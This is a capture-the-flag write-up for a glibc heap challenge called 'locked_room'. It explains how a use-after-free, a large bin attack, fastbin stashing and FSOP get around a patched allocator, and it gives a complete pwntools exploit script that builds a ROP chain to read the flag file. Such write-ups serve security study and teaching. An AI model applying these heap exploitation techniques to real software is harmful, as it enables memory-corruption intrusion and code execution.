Rest, rest in peace:
In the illusion you created,
I came to know love.
Challenge
The main binary contains a simple use-after-free vulnerability but it’s deployed with a patch glibc. We summarize the patch as follows:
- For every allocation, the result of
malloc
and input offree
must be in the range ofmain_arena->top + chunk_size(main_arena->top) - main_arena->system_mem
tomain_arena->top
. - For every fastbin allocate/free operation, it will set the corresponding
PREV_FAST_BIT
of the next chunk. - For every allocation of tcache chunk, it will check the allocation size and the corresponding chunk size of the result.
There is no stdio operation in the binary and the program exits by syscall. Malloc assertions in glibc are also patched to use syscall.
Exploit
What can we do?
With use-after-free we can leak glibc and heap address easily. And with heap consolidation we can create a chunk overlapping. The challenge is to bypass the patch.
We can easily overwrite main_arena->system_mem
with large bin attack. But to allocate to glibc area and overwrite some useful pointer, we need to bypass the check of main_arena->top
. One idea is placing a huge value there. With heap chunk overlap we can perform a large bin attack easily. But this can only write a heap pointer.
Fastbin stashing
When we take a chunk from a fastbin chain, glibc allocator will stash the chunks in fastbin in tcache and fill all corresponding tcache slots. After that, the last chunk will become the new fastbin entry. main_arena->top
is located after the fastbin entries array. If we overwrite global_max_fast
to a large value, we can trick the allocator to think the main_arena->top
is a fastbin entry.
In fact, the large bin unlink operation has no alignment check, which means we can partially overwrite some pointers or write a heap pointer at not aligned address.
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
With this, we can partially overwrite the main_arena->top
to make it point backwards. And we craft a fake fastbin chain there.
fastbin[0] -> ... fastbin[8](a glibc address)
When we take fastbin[0]
from the fake fastbin chain. The following 7 fastbin chunk will be stashed in tcache. Then fastbin[8]
will be the new fastbin entry. So we can overwrite the main_arena->top
to a glibc address.
Code execution
In assertion function of the patch, it will call strlen
first, which will actually call into the got table of glibc. We can use the large bin attack to craft a fake tcache entry with size 0x5x
at the got table. Then we can overwrite the j_strlen
to exit
which can trigger glibc stdio operation. Now we can do a traditional FSOP to do ROP.
from pwn import *
while True:
#sh = process(["./locked_room"], env={"LD_PRELOAD": "./libc.so"})
# nc dicec.tf 32019
sh = remote("dicec.tf", 32019)
tob = lambda x: str(x).encode()
global_idx = 0
def choose(option):
sh.sendlineafter(b"> ", str(option).encode())
def add(size, content):
global global_idx
choose(1)
sh.sendlineafter(b"Size?\n> ", str(size).encode())
sh.sendafter(b"Data?\n> ", content)
idx = global_idx
global_idx += 1
return idx
def remove(index):
choose(2)
sh.sendlineafter(b"Index?\n> ", str(index).encode())
def show(index):
choose(3)
sh.sendlineafter(b"Index?\n> ", str(index).encode())
context.terminal = ["tmux", "splitw", "-h"]
add(0x500, b"A"*0x30) # 0
add(0x10, b'\n') # 1
add(0x500, b"A"*0x30) # 2
add(0x10, b'\n') # 3
remove(0)
add(0x500, b'A'*0x30) # 4
remove(0)
remove(2)
show(4)
libcbase = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1f1ce0
sh.recv(2)
log.success(f"libcbase: {hex(libcbase)}")
heap = u64(sh.recv(6).ljust(8, b'\x00'))
log.success(f"heap: {hex(heap)}")
if heap & 0xf000 != 0xa000:
log.info("retry")
continue
# clean up
add(0x500, b'A'*0x30)
add(0x500, b'A'*0x30)
fastlist = []
for i in range(0x16):
fastlist.append(add(0x60, p64(0x31)*(0x60//8)))
for i in range(0x16):
remove(fastlist[i])
p1 = add(0x800, (b'A'*0x60 + p64(0) + p64(0x411))*8) # overlap
remove(0xf) # free tcache with fake size
#context.log_level = 'debug'
#add(0x800, b'A'*0x2c0)
#remove(0x1a)
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
remove(0x10)
add(0x800, b'\n')
remove(t1)
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20))
remove(t1)
remove(0x11)
add(0x800, b'\n')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
remove(t1)
#gdb.attach(sh)
b2 = add(0x508, b'b2')
b1 = add(0x510, b'b1')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
remove(0x10)
t2 = add(0x800, b'\n')
remove(t1)
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20-1))
remove(t1)
remove(0x11)
p1 = add(0x800, b'\n')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
remove(t1)
fake_link_start = 0x9f0+heap
log.info("create fake header")
for i in range(1, 6, 2):
log.info(f"i: {i}")
b2 = add(0x508, b'b2')
b1 = add(0x510, b'b1')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
remove(0x10)
add(0x800, (p64(0)+p64(0xc1)+p64(((heap+0x5840)>>12)^(fake_link_start))*2)*(0x800//0x20))
remove(t1)
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20-i-0x10))
remove(t1)
remove(0x11)
add(0x800, p64(0x3fff0000000f)*(0x800//8))
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
remove(t1)
context.arch = 'amd64'
heapbase = heap-0x7c0
fakeio_addr = heapbase+0x2870
fake_file = FileStructure(0)
fake_file.flags = 0
fake_file._IO_read_ptr = fakeio_addr+0x10*14
fake_file._IO_read_end = fakeio_addr+0x10*14
fake_file._IO_read_base = fakeio_addr+0x10*14
fake_file._IO_write_ptr = 0x0000000000146a50 + libcbase
fake_file._wide_data = fakeio_addr - 0x40
fake_file._lock = fakeio_addr + 0x10
fake_file.chain = 0x0000000000146a50 + libcbase
fake_file.vtable = 0x1f3040 + libcbase
libc = ELF("./libc.so")
pop_rdi = 0x000000000002dad2+libcbase
ret = pop_rdi+1
pop_rsi = 0x000000000002f2c1+libcbase
pop_rdx_r12 = 0x0000000000106d17+libcbase
open_ = libc.symbols['open']+libcbase
read_ = libc.symbols['read']+libcbase
write_ = libc.symbols['write']+libcbase
rop = p64(pop_rdi)
rop += p64(heap+0x2300)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rdx_r12)
rop += p64(0)
rop += p64(0)
rop += p64(open_)
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi)
rop += p64(heap)
rop += p64(pop_rdx_r12)
rop += p64(0x100)
rop += p64(0)
rop += p64(read_)
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(heap)
rop += p64(pop_rdx_r12)
rop += p64(0x100)
rop += p64(0)
rop += p64(write_)
rop += b'./flag.txt\x00'
payload = bytes(fake_file)[:-0x10] + p64(fakeio_addr) + bytes(fake_file)[-0x8:] + b'\x00'*0x20 + p64(libcbase+0x50dbd) + b'A'*0x78 + p64(heap+0x2240) + p64(ret) + rop
b2 = add(0x508, b'b2')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f2508-0x20))
remove(t1)
remove(0x11)
remove(t2)
add(0x800, b'\x00'*0x30+payload)
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
remove(t1)
# t3 = add(0x800, b'\x00'*5+p64(0x7fff00000000)*(0x700//8))
# remove(t3)
target = libcbase + 0x1f1090
# 0xc0
b2 = add(0x508, b'b2')
t2 = add(0x800, b'Y'*(0x800-0x20)+p64(0)+p64(0x21)+p64(0)+p64(0))
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1c90-0x20+0x20+0x28) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
remove(t1)
remove(0x11)
remove(t2)
payload = b''
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x20)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x40)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x60)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x80)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0xa0)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(fake_link_start+0xc0)) + p64(0)
payload += p64(0) + p64(0x21)
payload += p64(((heap+0xa00)>>12)^(0x1f3cd0+libcbase)) + p64(0)
# overwrite top
b2 = add(0x508, b'b2')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1ce0-0x20-6) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
remove(t1)
remove(0x11)
remove(p1)
#gdb.attach(sh)
t2 = add(0x800, b'\n')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
remove(t1)
remove(t2)
fix_large_bin = b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3
b2 = add(0x508, b'b2')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f2670-0x20+3) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
remove(t1)
remove(0x11)
t2 = add(0x800, b'\n')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'P'*0x30 + payload)
remove(t1)
remove(t2)
# corrupt global_max_fast
b2 = add(0x508, b'b2')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f91e0-0x20) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
remove(t1)
remove(0x11)
t2 = add(0x800, b'\n')
t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'P'*0x30 + payload)
remove(t1)
remove(t2)
add(0xb0, b'\n')
t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10+5*(p64(0)+p64(0x51)+b'A'*0x60))
remove(0x15)
remove(0x14)
remove(0x13)
remove(0x12)
remove(t1)
t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(0x00000000001F1090+libcbase-0x10))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
tmp = add(0x40, b'\n')
add(0x40, p64(libcbase+0x4e4bc)*3+p64(libcbase+0x44330))
#gdb.attach(sh)
remove(t1)
remove(tmp)
t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(libcbase+0x1f2680))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
tmp = add(0x40, b'\n')
add(0x40, p64(fakeio_addr))
remove(t1)
remove(tmp)
t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(libcbase+0x1f1681))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
tmp = add(0x40, b'\n')
#add(0x40, b'A'*8)
choose(1)
sh.sendlineafter(b"Size?\n> ", str(0x40).encode())
flag = sh.recvuntil(b"}")
print("\033[33mGolden Truth: " + flag.decode() + "\033[0m")
exit(0)
sh.interactive()